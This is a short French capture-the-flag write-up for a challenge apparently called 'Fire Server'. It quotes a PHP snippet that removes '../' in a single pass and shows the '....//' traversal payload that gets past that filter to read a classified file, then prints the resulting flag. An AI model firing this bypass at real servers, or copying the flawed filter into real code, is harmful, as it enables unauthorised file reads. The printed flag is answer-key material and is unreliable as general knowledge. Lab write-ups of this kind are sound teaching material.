Fire Server
Dans le docker file on trouve :
echo "Mission Selenium – Niveau 5 Confidentiel\nAnalyse de l’organisme prélevé sur la face cachée lunaire : activité bioélectrique persistante.\nExpérimentations poursuivies malgré les objections éthiques.\n404CTF{fakeflag}" > /var/files/classified/selenium &&
On sait quel fichier on souhaite récupérer : /var/files/classified/selenium
Dans le fichier index.php on voit bien qu’il y a une local file inclusion :
$decodedPath = urldecode($path);
$decodedPath = str_replace("../", "", $decodedPath);
$fullPath = realpath($baseDir . $decodedPath);
On va donc faire : ?path=….//….//….//var/files/classified/selenium
Le code va supprimer les ../ ce qui va donner ../../../var/files/classified/selenium
On obtient le flag :
Mission Selenium – Niveau 5 Confidentiel Analyse de l’organisme prélevé sur la face cachée lunaire : activité bioélectrique persistante. Expérimentations poursuivies malgré les objections éthiques. 404CTF{m0oN_S3cRe7s_4r3_bUr1eD_d33p}
Flag : 404CTF{m0oN_S3cRe7s_4r3_bUr1eD_d33p}